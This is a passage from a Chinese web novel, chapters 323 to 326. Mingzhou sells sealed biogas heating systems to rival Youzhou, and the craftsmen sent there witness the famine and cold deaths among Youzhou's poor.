家人已被他送到了风仙县,但因为不敢频繁联系,所以他只有趁着去明州时,才能恳请方大人让他借通讯道士一用。 这次他去的时候,恰逢通讯道士忙于别处,只能暂且不和家人联络。 但上次时,他知晓,家人过得很好。 被知州大人安排在厂子里做活,收入来源十分稳定,且工作环境氛围轻松,还有额外的一套房作为奖励。 日子其实过得有滋有味。 等听说家中孩子全都送了学堂,开始读书后,张绯松了口气。 他家孩子也请先生,先前换地方时,他还担心过孩子的学业,如今总算放心。 最要紧的是,妻子变得外向且欢快。 她原先在元城时,整日担忧惧怕,怕他再被贬离,怕哪一步走错就是万劫不复。 那会妻子只能管理家中,和对应的夫人结识,然后聊点能说的话。 那道浅浅的眉毛总是蹙起来,任凭他揉过多次,想要将那一抹愁绪展开,但很快又重新蹙起。 而如今,自家娘子带着卷的声音听起来十分轻快,让他莫名想起了妻子年轻时那活泼模样。 “阿绯,现在的话,我也有了新的工作,负责管理库房,和往日我在家中做的活计一样。 有时候也有些累人,但大部分时候都很好。 同事很友好,什么都能聊,我一切都好,你不用多挂念我,挂念家里。” 张绯觉得喉咙很干涩。 他和妻子是青梅竹马,顺顺利利成了夫妻,从小,妻子就活泼捣乱,和那些大家闺秀完全不同,他喜欢这样的妻子,像是一匹活泼的小马一样,拥有着旺盛的生命力。 当初他说要一辈子对她好,护着她。 一切在他被排挤出城后戛然而止。 他差点失去了以往有的一切,也是那个时候,他深切了解到,像他们这样没什么根基的,若想让家人过得好,除了迎合世道,拼尽全力往上爬别无他法。 他回来后不择手段,日子是比以前过得好了,但当时妻子不曾真心高兴过。 像是一直以来的晴天变成了连绵不断的阴雨天,变得敏锐而又潮湿。 像是元城黏腻的梅雨季,带着湿漉漉的潮气,混合着潮湿的眼睛,湿润的眼泪,蹙起的浅浅眉毛,深深印刻在他早就破成块的心脏上。 疼痛像是被蚂蚁啃噬一样,细微,带着点不容易被察觉的痒痛。 当初他刻意忽略了这点痛意。 他告诉自己,没有办法,一切毫无办法,如果不这么做,会陷入更坏的结局,他赌不起那个更坏的结局,只能寄希望于时间磨灭一切。 连带着最在乎的人,曾经最在乎的理想,一切掩埋在过往。 而隔着通讯道士那符咒,张绯再次听闻那熟悉的上翘的活泼音色,他突然就觉得嗓子很干,干得他迫切想要喝点东西,喝点能够缓解这干痒的药亦或是水。 嗓子干到像是被烈日暴晒数日的田地,龟裂成一块一块,他一个字也说不出来。 等回过神时,他这才发觉,水从身体其他部位开始慢慢流淌,沿着他的下巴,滴答在衣袖上,将那原先还算得上得体的衣袖侵染成一团团模糊的湿痕。 妻子还在兴奋的说些什么,张绯的意识却开始慢慢飘扬。 漫长的,黏腻的梅雨季终于迎来了真正意义上的第一个晴天,烘干了妻子泛着潮湿的眼泪,烘烤着他发霉的衣袖。 那密密麻麻的,不见天日的痒意,终于在这一日终止。 第323章 地暖 时间很快过去。 炎热的夏季慢慢走过最后一日,秋季来临。 明州境内上下开始忙碌起来,个个加入丰收的氛围内。 因先前姜定的土地增益Buff存在,再加上科普过科学耕种,如今明州产地内收成极好。 四处都溢出一股欢快的气息。 农人们忙着采收家中的农作物,在工厂上工的则是忙着干活。 官员们忙着按照当初登记本上所写,将分配给每家每户的粮食,药材额度征收过来。 每一片区域,均是两个人负责称重记录,另有人将粮食,药材码起来。 同时有一人按照登记本所写核对数量,结算银两。 等到分发完那一叠叠天地币后,总算是将官方收购这边的活计做完了。 农忙不仅仅是农人忙碌,官员也忙得很。 负责巡逻的在这几日加强了巡逻力度,以防有人想不开在这个时节考虑抢劫。 除了被当做储备粮和储备药材的物品外,大豆,棉花,地瓜均处于收获季节,一打眼看过去,一板车黄橙橙豆荚,白茫茫棉花,红灿灿的地瓜,均是往对应的厂子里送。 这些都是刚摘下来,打算送到厂子里过称,而后按照当天价格计算。 当然了,价格肯定是不一样的。 这刚摘下来的,还有水分,不曾处理,价格会偏低。 若是自己在家里晾晒挑拣过后的,价格自然要高一些。 所以这便分成两种人,一众人贪图方便,直接当天从地里起来,然后就送到了厂子里,不用再操心,只是价格低了一些。 而另一批心思细腻的人算了算后,还是觉得自己晾干后送过去价格更合适。 这些农作物被送到各个厂子里,很快就会变成对应的粉条,豆腐,豆干,酱油,棉布,油等等副产品。 因今年收成好,所以算得上是个丰收年,原材料整体相较于去年要更多,按道理明州市场的粮食,粮副产品应当会稍微松快一些。 但事实上,可能是由于百姓刚从温饱线下来,如今对食物很是看重,这粮食除了自家留着的那部分外,还会额外购入粮副产品作为补充。 一来二去,这些厂子的生产堪堪足够自产自销。 这消息自然上报给了方知意,不过她并不在意,甚至可以说,这完全就在她的预料内。 ——如今百姓刚过上好日子没几天,需要时间转变心态,且刚好眼下不适合将粮食运输到外地,整体来说,粮食只需要做到满足明州百姓需求,满足军队需求,满足预备粮需求足矣。 如今没有多余的卖出去更好,先前她就派人关注粮食具体流向,如今省得分心处理粮食外流这方面的事情。 明州收成好,其余两州收成就不好看了。 今年虽说没有先前灾年那么热,但整体来说,还是雨水较少,今年秋收时,收成并不可观,除了扣除征税外,百姓手里留下的粮食甚至不够过冬,不少人将细粮换了一些粗粮,家里人多的,甚至还去换了糠皮,生怕在之后的冬天,家里人因为粮食不够吃而饿死,除了这些外,百姓们还去山头采了野草,晒成菜干,应付冬季。 深秋慢慢靠近,不少人则是打算上山继续采摘一波野果野草,再捡一些柴火,提前备好,好不至于在冬季时难受。 不过这事得偷偷来,毕竟如今可不存在野山,这山头可不算他们的,而是算各位大户的,若是遇到那种心善点的大户还好,半闭眼睛让他们上山采点东西,只要别太过分。 但也有那种不好说话的,倒不是心疼这些东西,而是纯粹讨厌这些贫民去玷污了自家山头。 所以一般情况下,在有选择的情况下,众人都会优先去好说话的大户山头,但人一多,自然是捡不到什么好东西。 日子很快过去,直到初冬。 也许是被逼急了,有几个人偷偷溜到别的山头,去捡树枝。 几人小心翼翼特意避开了人,等看到满地枯树枝时,很是兴奋。 好容易挑选了一些方便带走的,几人小心的沿着小路往下走,等到快离开山头时,竟是运道不好,被拦了下来。 等看到竟有人敢偷自家树枝时,管事的瞪眼,拿起旁边放着的赶马鞭子就是一鞭子。 这几人自然不敢反抗,柴火被丢得到处都是,个个被家丁绑着,受着这鞭子鞭打。 管事的边抽边骂。 “吃了熊心豹子胆了!也不打听打听这山头是谁的,今日也就是遇到了我,若是遇到了我们家老爷,定要你们吃不了兜着走。” 几人瑟瑟发抖,直到挨了一顿打,被推搡着离开此地。 因天寒地冻,伤口虽不会发炎,但也没什么能补充营养的,身子骨弱一些的很快便无药可治,撒手人寰,身子骨强壮些的,还勉强能挺了过来。 但即便如此,他们对那管事的却毫无怨言——这种事很正常,管事的说得对,若不是运气好遇到管事的,那可不是挨一顿打的事了。 甚至在不少人看来,这管事的已经算是不可多得的好人了,没有拿着这几人过去讨好老爷,只是打了一顿,杀鸡儆猴。 等听到有人因伤口死去时,听到的人也没什么感情波动——太正常了,一到冬季,就会有数不清的人死去,冻死的,饿死的,病死的,总归是什么死法都有。 那些人也算是没白死,好歹临死前还给家里带回去了一背篓柴火,这柴火可以让家里暖和一些。 又开始下雪了。 混合着风声和细细的、微弱的呜咽声。 雪慢慢覆盖了每一寸,覆盖了那些个小小的坟包。 元城。 今年的雪来得早,今日给屋里添了银丝炭,这炭火烧得旺盛,烘烤祛除了屋内的寒意。 每逢冬日,便是众人赏梅季节。 一场场小型诗会开设,才子佳人,围炉煮茶,颇有几分诗意。 谭江也被人邀请参加诗会,但如今对于他来说,他对这样的聚会并不感兴趣。 他更感兴趣的是,先前从明州得来的新情报。 情报上所说,明州屋内温暖如春,这并非是少部人能享受到的,这是一项惠民工程,属于每个人,每个属于明州的普通百姓都能享受到的福利。 起初,谭江不相信——这不可能,按照煤炭的开采量计算,以及木炭的市场供应量,不可能供得起这么多人使用。 且这价格是个天文数字。 不可能会有统治者傻到将这可以节省下来,用在军费,或者是别的更重要地方的经费用在这堪称浪费的地方。 据说明州屋内还铺设的是地暖,这比一个小火盆更加浪费。 但根据新来的情报,那明州如今发展得很好,完全不曾表露颓势,且人人对使用地暖竟然接受度良好,无一人觉得浪费。 谭江大受震撼,不理解,非常之不理解。 ——想烧热地暖要用到更多的燃料,一般都是家中殷实,极为奢靡之人才会这样做,不然绝大部分时候,点燃两个炭炉子足够用了。 情报倒是指出来,他们所用是沼气池,但沼气池这三个字,对于谭江来说,完全是一个崭新的名词。 听不懂,脑内甚至没有一个成型的概念。 据说可用沼气池供热,但他不清楚这明州是如何做到的,简直匪夷所思。 差人去调查明州的沼气池,以及煤炭,木炭消耗生产情况后,谭江想到先前白讼给他们传递的情报,如今竟然是心痒难耐——说实话,他甚至想以身犯险,前去明州一探究竟。 但好在是这股冲动被他按捺下来。 再等等,等查完后再说 幽州。 虞珠看着手下传递回来的情报出神。 沼气池,地暖。 两个完全陌生的词汇冲刷着她的认知。 这是上次情报提到的新名词。 之前因为是夏季,她派出去的人并未发觉整个明州有地暖系统。 至于沼气池的话,也不曾听过,只是听说过沼气灯,点开后亮如白昼。 虞珠不曾亲眼见过那灯,但根据手下人描述,她大概能想到那副场景。 等到时间慢慢来到冬季时,先前的下属急匆匆汇报,说是明州每个屋内都暖得很,这叫做通过沼气池供暖,属于地暖的一种。 当时她初次听闻时还在震惊于明州的实力。 这要花费不少钱吧? 尤其是全州供暖,这无论怎么想,都完全不合理啊! 要说幽州自古以来冬季漫长,温度低,每年一到冬天冻死的人不计其数,但她能做的其实很少,只能发放姜汤,里面混一些发热的汤药。 她不是没想过解决供暖问题,事实上,幽州如今人冻死的比以前少了,原因还是因为她上任后,提前管控了柴火价格,而后又强制给那些大户下了命令,在严寒之际,可允许百姓上山捡柴火作为活命用。 捡柴火出去售卖,定是要被追责的,但若是用于自己活命,便算不上。 因这政策并未触及这些人的核心利益,所以还算勉强执行下去了。 所以幽州内这才能让冻死的人数少了许多。 想到这点,虞珠难免觉得颇为心累。 她如今根基不算稳当,即便有什么好法子想用在百姓身上,但苦于政策下发,却无法顺利执行。 且她要考虑的东西很多,各方面的利益考量,所以很多时候,下决策并不能痛快。 等到坐到这个位置,虞珠也算体会到了几分陈京行的难受来。 位置看着高,但并非每个人都听话,也不是想干什么就干什么,确实费劲。 只是如今看到这沼气池,虞珠觉得完全符合幽州的需求。 得看看对方出不出售这沼气池的方子。 方知意微微算了算,便知道虞珠定是有了想法,不过,这方子,她定是不卖。 第324章 造孽 既然想买沼气池的方子,必然要先联系上对方。 为了避免让明州那边的人起疑,虞珠特意找了先前曾经做过交易的那个道士——李归一,请他充当说客,表明她们求购的心思。 很快,这则消息就被传递给方知意。 方知意早就做好准备,眼看虞珠落网,顿时带笑。 挺好,最大的买家出现了。 因虞珠不可能前来明州查看沼气池具体效果,两方的交流主要全靠李归一传递。 等到过几日李归一传递回消息后,虞珠不免蹙眉。 如今她所求沼气池,自然是落于低位,但对方提出的却是不卖制作方法,但可以给他们安装沼气池。 且后续的维护,修缮,都需要用到他们的人。 且制造价格不便宜。 对方也给了别的选项,钱不够也可以慢慢还,或者卖一部分地给他们。 这二选一放在虞珠的面前,她几乎不用考虑,直接否认了第二种方式。 选了给付银两。 对方显然要将此技术管控在手里,若是卖沼气池的方子的话,哪怕再贵,她都考虑拿下来,但既然只卖成品,她的兴趣少了不少。 但话又说回来,成品的价格要比心理价位低,不妨先答应,看看沼气池运作如何,再看看之后他们匠人能不能通过分解对方的成品制造出沼气池来。 这么一想,两方很快就敲定了交易。 由李归一带头定下交易,明州需要在规定时间内给付出十座沼气池,而幽州则需要在确定通路完好,能正常运行后,陆续将银两给到位。 当然,一开始的话,幽州必须要预付一部分银两作为预付款。 明州。 这交易定下后,赵金构恰逢在官府。 不免提醒。 “方大人,若是交付成品的话,对方要是想拆解研究的话又该如何?这不是泄露了沼气池的方子?” 这担心很有道理,毕竟先前仇离研究沼气池时费了很大的功夫,但想要复刻的话,并不难,至少要比研究花费的精力少多了。 赵金构不明白,为何方知意要答应这明显有漏洞的交易。 方知意脸庞淡然。 “确实如此,但他们拆不开,这才是最大的问题。” 赵金构:??? 疑惑不解,但表示相信方知意。 很快这一笔交易迅速到位,预付金给得很快,像是原先一样,各类物资,银两通过李归一被带回明州,而从明州境内则是被派出去不少匠人,负责给幽州安装沼气池。 事实上,光是预付金就已经顶得上这些沼气池的成本了,甚至还能建得更多,多出来的全是利润。 因目前和幽州只能算得上是中立情况,所以务必要充分利用每一份资源。 而这笔资金,这会再次回流到明州境内,而后变成扩张的资金。 且和幽州的合作关系会微弱的保持下去,也方便后续更多物品进入幽州。 当然,最重要的是,在方知意看来,如今给幽州安排沼气池无疑是提前给自己解决麻烦。 等到日后仙师将幽州一统后,这沼气池定然也是需要安装上去的。 现在表面上来看,这安装沼气池不算特别赚钱,但长久来看,算是提前布局了。 且有仙师的术法约束,对方绝无一丝一毫的办法能拆开研究沼气池,且沼气池除了供暖照明外,暂时在军事上没有用途,极大地限制了此物。 若是非要说的话,沼气池的存在可以拯救一部分百姓,让这部分劳动力活下来。 对于日后她们接手也有好处,毕竟现在世道太乱,人其实还是很缺的。 至于说什么人多了,就会造成军事力量增强,方知意有些想笑。 ——热武器和冷武器之间的差距,不是用人数就能填满的。 最重要的是,这沼气池,她们可以做到让它停就停,让它继续投入使用就使用。 全看幽州的态度。 种种限制手段,防的自然是幽州生出别的心思,至于若是日后将幽州并入仙师羽翼下,那就另当别论。 不过按照虞珠的性格,她回去后发现这东西拆不开的话,肯定会想明白其中的弯弯绕绕。 两方博弈,博的就是一个谁更心黑。 虞珠想要用最低的价格获取更高的收益,她亦是如此。 先前那部分自己报名前往幽州干活的匠人们,则是先后领取到了外出补贴。 这些人里有一部分是看工资高才报名的,还有一部分是想看看幽州到底如何。 先前不敢乱跑是因为外面乱,但如今既然这合作展开了,幽州那边若是不想惹怒明州,自然会保障这些匠人安稳回来。 所以,这是一个很好的机会。 等到这批匠人坐着马车,从明州赶路到幽州,总共是行了有五天,一路上,众人也曾路过不少县域,但说实在的,先前那点出来见世面的心思很快就回落下去,个个略有后悔。 不说别的,这里很冷,而且这么冷的天没有地暖,其实十分遭罪。 大晚上的,他们住在大通铺客栈,虽说人多,但好歹都是从明州来的,卫生有保障。 虽说也有几日赶路来的不太好闻的味道,但这和别的房间比起来实在是好太多了。 屋外的风雪在嚎叫,屋内只点了个小炭盆,火光微弱,说实话很冷,但好歹屋内人多,倒是多了几分暖和气。 不过这点温度和温暖如春的明州比起来可就差远了。 一旦有了对比,人就会有些心里难受。 但左右想想这出来还有出行补助呢,也不少钱,挨点冻也能理解。 不过这幽州天气真冷,出去一小会,感觉手像是泡在冰水里没有知觉一样。 赶路的晚上都是这么过来的,等到好容易到达幽州的都城,坎城,大伙心里那点对外地的好奇基本上都被消磨完了。 尤其是进了城,看到这坎城也不比云城好,甚至很多地方,完全比不上自家。 比如道路还坑坑洼洼的,唯一的三合土道路还不让普通马车上路。 别的的话,就是没有地暖,没有热闹的街道,也没有便宜的食物。 一到晚上,还没沼气灯,到处黑黢黢的,实在是让人提不起打探的兴趣。 环境固然艰苦,但钱给得不少,再怎么感慨,众人做好心理准备还是开始忙碌了。 但等到看到最为古早的旱厕出现在眼前时,众人的目光还是略微漂移了一下 虽说他们也没换马桶多久,但现在咋地这么矫情,上个原先使用的旱厕,竟然是完全接受不了了。 尤其是上的时候,压根不能看,怕一看就给把刚吃的东西全部吐出去。 平心而论,这茅厕修得还可以,至少比大部分强,但或许是由奢入俭难,众人早就习惯了马桶的日子,如今猛不伶仃看到这一幕,多少那点心理建设还是要重做。 但环境就这样了,活还没干完,说什么也得受着。 等到吃饭点,说是幽州包吃住,众人刚想松口气,心想好歹是能吃点东西了,毕竟劳累一早上。 等到看到清汤寡水的饭食后,一时间都有些难绷。 一开始众人以为是这里故意的,但稍微打探一番就知道,这东西还真是特意给供的,别的普通工匠吃不上,还得是看他们是从明州来的,连饭菜待遇都给往上提了一些。 因沼气池的建设需要不少人手,所以没什么难度的,不涉及泄露秘密的体力活自然是被本地人包揽了。 和他们不同,这些人在干了一早上后,吃东西可谓是猛虎扑食,个个争抢着,要将那点东西抢到手。 李明二是从明州来的匠人,这会对着一碗成分不明的粥(?)犯迷糊。 里面似乎是什么都放了,有白菜,有玉米粉,有小米粒,主打一个样数多分量少,看着一副很难入口的样子。 这成分复杂就算了,咋地看这粥里好像不太干净啊。 汤水有些浑浊。 甚至从里面揪出来一根头发。 李明二有些嫌弃,转念一想,自己刚吃饱饭多久,如今竟然这么嫌弃了,这不好,得改。 但一时半会,又觉得有些难以入口。 犹豫的时间一长,粥凝固后看着更让人食欲全无了。 正发愁时,一旁钻出来个人,他扫了一眼,发现这人是幽州本地的,叫做王大狗。 ——幽州这边普遍不曾上过学,没什么见识,再加上天寒地冻,家家户户都觉得养孩子取名贱一些好养活。 于是这名就这么随意的定下了。 话说也奇怪,按道理,吃不饱穿不暖的,这里的人应当都很瘦弱才是,但事实上,王大狗身板壮硕,一点看不出是每天吃不饱饭的样子。 先前不熟时,李明二没好意思问,后来熟了后,倒是问了为何。 最后得出结论,天生的,外加上王大狗其实还会偷偷去抓一些野物去填饱肚子,所以才会如此。 这大个头缩在一旁,眼神扫过他手里端着的碗,一副很想吃的样子。 李明二试探着开口:“小狗,你吃不?” 王大狗岁数比他小多了,只有十四岁,在他看来,不说当爹,好歹他也是人家哥那一辈的。 王大狗忙摇头,嘴上巴巴的拒绝,眼睛直往地上瞟。 李明二心想也是,这东西看着一副不太能吃的样子,何况是里面还有杂物,别人不乐意吃也正常。 这会决定找个隐蔽地方给处理了,被王大狗结结巴巴拦住了。 “哥你要扔的话,给俺呗,一会俺替你洗了碗。” 李明二没犹豫,把碗筷给了他,就看这小孩双手接过来,脑袋都要埋在碗里。 粥已经凝固,小孩吃得香,这会吸溜完了一碗吃食,巴巴给他洗了碗,问下次要扔时能不能给他。 “俺的饭留了点给家里人了没吃饱不白吃哥你的,你的活俺给你做。” 李明二松开的手又捏紧了。 ——造孽的地方。 第325章 筹备 前有李明二感慨这造孽的地方,百姓居然连饭都吃不上,后有他们发现本地街头经常有人死掉。 可能是气候原因,先前他们在明州本地也不曾看到过这么多冻死的人。 这些人面色乌青,被发现的时候大部分都是掩埋在积雪之下的。 看上去像是一座雕塑。 扑棱开表面的那层雪,就能看到里面裹着一个个僵硬的人。 表面皮肤起了冻疮,一连串,从脚爬到腿,再爬行到胳膊,惨不忍睹。 众人看到时,实在是说不出是何心情。 ——要怪便怪自从仙师接手了明州的管理后,他们已经有小一年的时间没有看到过死在街头的人了。 明州有地暖,有官府便宜发放的崭新棉衣,还能吃饱饭,还有花点钱就能去药堂报销的医保,若不是遇到什么意外,或者是难治的大病,实在是很难死在街头。 但幽州这里不一样。 这里让他们不自觉想到了过去的明州,同样绝望。 看不清下一步的路途,每天迷茫的挣扎,只为努力活着。 如今明州已然被仙师庇护,百姓的生活都好了起来,再次看到过得更惨的幽州百姓后,虽说不是一个地方的人,但人人心头都生出一股天然的悲愤。 这是一种人类共通的情感,看着这些人,仿佛就能想到当初挣扎着,只为求一口饭吃的自己。 怜悯归怜悯,但如今幽州不属于仙师旗下,他们就算再可怜这些百姓,也没法帮助对方,只能劝自己视而不见。 但时间久了,众人也会偷偷把自己的饭菜分给身边的可怜人一些,为了避免给自己惹事,问起来就说饭量小。 李明二受到的冲击还是很大的,自从给了一次王大狗饭菜后,这人就费心费力给他干活,还实打实的干,怎么劝都不顶用。 最后没法,李明二只能当自己真养了一条小狗。 小狗给他干活,他给小狗吃饭。 但众人都知晓,这长期下去也不是个办法,最好的办法就是仙师赶快过来收了这幽州才对。 ——地方虽说苦寒,但总归在仙人的手里肯定是有用途的,且最重要的是,若是此地得到仙师庇护,那日后他们所见的这些人便能活下去。 不至于今天还能见到,明天就见不到了。 先前就是,一个小孩,和王大狗差不多,每天巴巴的干活,因年纪小,大伙也都会给他多分点食物,但等到第二天,这小孩没来上工,工头问了问,还特意去这小孩住的地方去了,结果去了后就知道小孩死了。 说是晚上冻死的。 “那是喜丧哩,那孩子嘴角还翘着,定是做了好梦,也没受什么罪,就这么去了也挺好。” “冻得都硬了,手里死死攥着个小雕塑,掰也掰不开,只知道是个俊秀的小像,也不知道为啥子。” “最后连带着一起埋了。天要下雪了,你们赶紧回吧,怪冷的。” 李明二也去了。 这小孩他其实记不得太清了,只知道之前给过一块吃食,小孩很内敛,羞涩着喊他哥,说他头一次吃饱,后来他们闲得无事,就开始给这群人讲画本子里仙师的故事。 幽州本地的哪里曾听过这些故事,个个仰着头,听得入迷,等听闻其内的生活过得赛神仙后,众人脸上都露出一抹向往,而这小孩就是最兴奋的那个。 缠着讲故事的人问了不少问题,最后看他实在是好奇,那人将自己便宜买的仙人小像送了他。 “这是仙人的小像,好好留着,日后你也能过上那画本子里,吃饱穿暖,能上学堂的好日子。” 小孩笑得傻乎乎的,手心死死攥紧那小像,讲故事的人讲得乏了,这场子就算散了。 眼下,那小孩连着那小像一并埋了。 李明二突然就觉得心里渗出一股苦水。 他不是什么矫情的人,前些日子外面也死了这么多人,感慨完,期待着仙人更快一些来拯救这些百姓后,他们除了加快建造沼气池以外别无他法。 李明二一度觉得自己对于这种事已经脱敏。 但等真的看到一个活生生的,昨天还和小狗一样眼巴巴看着他们的小孩,今天就死了。 死相还是从邻居口里轻飘飘的说出来的,李明二就觉得心里涨得发疼。 ——临死前在想什么呢。 那小小的小像到底有没有承托住那颗期待的,欢呼雀跃的心。 沈小连,临死前,你到底有没有觉得有那么一瞬间曾经幸福过。 李明二觉得心里苦苦的,嘴巴也苦苦的。 那天讲故事的人一路没说话,最后回了住的地方,到半夜了,这人叹气。 “老李,白天那事,我有些后悔了。” “早知道给他一个贵的仙人小像了,说不定他就能熬过那晚,那贵点的小像定要比十来文买的要有用对不,那是一条人命呢。” 这人说了两句沉默下去,又说。 “我也不知道他熬不过去,早知道我就给他一个更好的,我天天带着的那个。” 李明二不知道该说些什么,听这人絮絮叨叨一会。 早上醒来时,就见他从外面刚回来,头发被持续的呼吸喷出一阵薄冰,冻得硬邦邦的,鼻头也红红的。 等到上工时,李明二注意到他先前总是随身携带的那小像不见了。 毕竟吃饭休息时,他拿了个做工粗糙的小像出来日常祈福。 这不是他的性格。 李明二扫了一眼远处,那是沈小连埋着的方向,地上似乎在朦胧间多了一条歪歪扭扭的脚印。 也好。 也好啊。 自沈小连死了后,气氛自然低沉了一段时间。 李明二也怕王大狗哪一天冻死了,还特意把自己的旧棉袄给了他,让他用。 本以为那讲故事的人不愿意再讲故事,但岂料,他讲得更频繁了,私底下,甚至会有意无意地指点那些人往明州方向跑。 也得多亏这些人都是底层。 权贵重视旗鼓相当的对手,没人会闲下来听一颗路边的石子说话。 而对于这小小石子的去向也不怎么关心。 其实在人家幽州地盘上做这些事很有风险,但众人默契的没吭声,默认了这行为。 希望在仙人还没来的时候,他们能多熬一会,不说熬到仙人来,起码熬到开春,看看到时候能不能逃到明州去。 希望这点信念能支撑着他们撑过一望无际的冬日。 幽州的雪还在下,下得似乎要掩埋一切。 数日后,沼气池总算全部完工,完美交付了。 虞珠带着人挨个试了试沼气池,很快便被这发明震撼在原地。 温暖如春这四个字不是白说的。 屋内的气温明显上升,且运行造价很是低廉,比别的燃料又暖和又高效。 且实验下来,居然还可以用燃气做饭,非常方便,一拧按钮就开了。 照明的话也是优秀无比。 若非明州带来沼气池,她死都想不到会有这样的好东西出现,集齐了照明,取暖,做饭一体,绝对的好东西。 一时间,她甚至觉得要建十个建少了。 毕竟这试验下来使用方便程度碾压她的认知啊! 算算只要沼气池运行着,日后会逐渐改善百姓取暖的大问题,这无形中减少了百姓的死亡率,长远看的话,实在是很合适。 但若是按照现在幽州的财库看的话,可撑不起覆盖幽州,甚至连覆盖幽州主要县域都做不到。 思来想去,虞珠很快便想到了新方法。 ——借力。 至于借谁的力,那自然是幽州大户们的力了。 将这沼气池作为一参观点,只有缴纳费用,才可给他们建造,等建造成功后,便解决了一片区域的取暖问题。 当然,除了特别有钱的除外,这些人自家就烧着地暖,花销巨大,屋内也暖和得紧。 这些人或许不会缴纳费用。 但别的大户应当可以,毕竟炭盆和地暖的舒适度不是一个等级的。 在沼气池的三大功能中,烹饪方便对于他们是最不值得一提的,毕竟有小厨房,有专门负责做饭,做吃食的人负责,这受苦受累的活轮不到自己干,自然没有吸引力。 但这沼气灯不一样,这东西是货真价实的好用,且只能安装在安装了沼气管路的家里。 但凡他们心动,想要这灯,那便只能乖乖缴纳费用,开通沼气管路。 大概有了计划后,虞珠动作很快,派手下的人,变着法子的将这沼气池宣传出去。 尤其还将好几次聚会的地方定在此处,一场聚会下来,让这些大户们也是开了一把眼。 ——这这这,这灯亮如白昼!这屋里,温暖舒适,完全不潮湿,这到底是如何做到的? 等到众人困惑时,就有虞珠专门安排的人稍作解释。 这是有技巧的,此人言语间均是得意,完全不露自己的真实想法是拉赞助,而是表明此物珍贵,是鲁班后人所制,可谓巧夺天工。 其内部结构精妙无比,自然效果很好。 不过可惜的是,制造价格颇为高昂,所以无法大规模制作。 有心思的人立马追问价格几何,等到听到报价后蹙眉——这也太贵了呀! 而后便听此人又给出了新的方案,拼着买,毕竟这沼气池供应的可不仅仅是一家,而是许多家。 其内言辞凿凿,十分吸引人,有人质疑这东西为何要顺带给那些普通百姓使用,这不是坑他们么。 倒是被用仁义,善心,以及管路通道不得不经过此地敷衍过去。 因众人完全不了解沼气池,还真被忽悠住了。 虞珠手下故技重施,在各地筹了款。 筹集资金大获成功,这笔钱她算了算,大概够给主要县域开通沼气池了。 当然,也有坏消息——这沼气池完全打不开,研究计划报废! 第326章 开通 完全打不开这坏消息是前几日发现的。 一开始沼气池成功交付时,虞珠以及手下人便开始研究沼气池该如何使用,如何维护。 一门心思全扑在怎么用上了。 最主要的没见过这么新奇的东西。 单是研究,整理,管理沼气管道流通过的百姓家,他们就耗费了不少精力。 且还要为新的燃料消耗寻找一个收费度量衡,日后法规也要添进去对应政策。 不单单要说清楚收费,还要说清楚任何人都不得靠近沼气池,家中管道该定时维护。 违者的话,自然要重罚。 不过最重要的是,因为沼气池是稀罕物,所以很多百姓不知道该如何用。 因为不会而导致的管路出现问题,这可就说不好是谁的过错了。 于是,这段时间,虞珠都在安排百姓学习相关使用维护流程。 同时修改新规。 而其余的人在她的授意下,分为研究沼气池的和出去拉拢资金的。 研究沼气池的在没搞清楚大概运行逻辑下并不敢直接拆开,毕竟这很有可能会造成爆炸。 只能从周边管道,配置上慢慢摸索。 等到外面摸索得差不多了,便开始考虑如何分解内部。 做了一番心理建设,甚至就连虞珠在内,都考虑过沼气池怕是要废几个才能研究明白。 但实际上,他们输在了第一步,无论采取任何办法,这沼气池竟然分解不开。 而分解不开便意味着无法窥探到内部,之前一切的努力基本上算作白费。 又试了好几次后,结果没有任何变化。 虞珠叫停了。 ——这很明显不应该。 他们暴力拆除时,那沼气池就像是有什么护身,丝毫不带破开的。 这诡异的场景想来是明州那边的手笔,看来对方对他们也防了一手。 怪不得价格比她想象中低一些。 原来是二人的理解上有了差别。 她的心理价位对标的是回来后可以拆解的沼气池,而非完整的一个沼气池。 若这沼气池不能研究,拆解的话,先前那价格其实算不得便宜了。 虞珠脸色微沉。 但话又说回来,无论是这沼气池救活的人,亦或是日后它能省下来的燃料,还有那方便快捷的做饭需求,以及照明需求,这又完全不亏。 虽说被对方耍了,但虞珠稍作考量,眸色深沉,却依旧派人去找李归一,准备继续下一步的交易。 其余人倒是很不满,纷纷表示这明州欺人太甚,前有瘟疫狮子大开口,现有沼气池耍阴的。 原先本还能为大局考量的人,也隐隐约约受到了这气氛的挑动。 也觉得这明州实在是过分。 虞珠扫了一眼这些叫嚣不满的人,嘴上表明目前幽州不能再继续消耗了,日后若有机会,定会打回去。 安抚了众人后,她顺带记住了先前那几个挑动众人情绪的,打算找机会收拾掉这些居心叵测的,被安插在她身边的人。 如今幽州各项事务刚刚起步,绝不是贸然挑战明州的时候,且不说以前陈京行在的时候,明州也不容小觑,如今表面上看着是陈京行不在了,但崛起一个更让人畏惧心惊的新人,如何不算得是需要韬光养晦阶段。 这个时候还要叫嚣着要去找明州不痛快的,定是心思歪了的。 合作进行的很顺利,李归一再次带着三十座沼气池的订单联络到了方知意。 而这些订单需要不少匠人前往幽州,而先前在风仙县以及附近县域的匠人,是招收不到的。 毕竟这边发展好,本地人并不乐意离开本地,哪怕就算钱再多,这些人不愿意出去,只打算呆在家中和家人聚着。 于是他们便将注意力放到明州刚被纳入不久的区域,这些地方才逐渐发展,厂子,各项零活实际上并不多,多的是有人愿意为了高薪奔走幽州。 很快,便凑够了一批前往幽州干活的匠人。 这些人大都是技术工多一些,负责建造沼气池的重要岗位,至于体力活,大都是去本地再招收。 毕竟当初给的那钱并不包括小工钱,这些干着简单活计的工人们的薪资来源都是幽州这边负责的。 若是按照明州如今的工钱给的话,这无疑是要花费不少的,但幽州不是明州,工钱给不了那么多。 但因为本地工作实在是太少,这类官府牵头的活计,百姓们也急着去上工。 上了工有可能最后也不会给钱,但好歹能吃点东西。 如果不上工,这个冬天就会饿死。 二者相较取其轻。 与此同时,幽州第一批沼气池总算顺利投入使用。 个个负责人加班加点负责将管路以及终端检测完毕,确定无误后,开启了使用。 大约在一天后,这些百姓便觉得家中的温度逐渐上升。 在坎城的话,如今沼气池月花费暂定平时月份为250文,取暖月份为500文一个月。 比明州价格高,但也没办法,毕竟幽州财政吃紧,各方面势力盘旋,不肯劲往一处使。 而明州都归属于仙师旗下,各司其职,加上其内经济流通速度很快,所以百姓手里有钱。 这两种差别就导致了定价不同。 不过这些钱虽说贵了,但肯定要比买柴火花销小,而且舒适度高。 且一旦开通管道,做饭取暖不需要柴火了,照明不用再去买油灯了,相比较之下,其实算能接受。 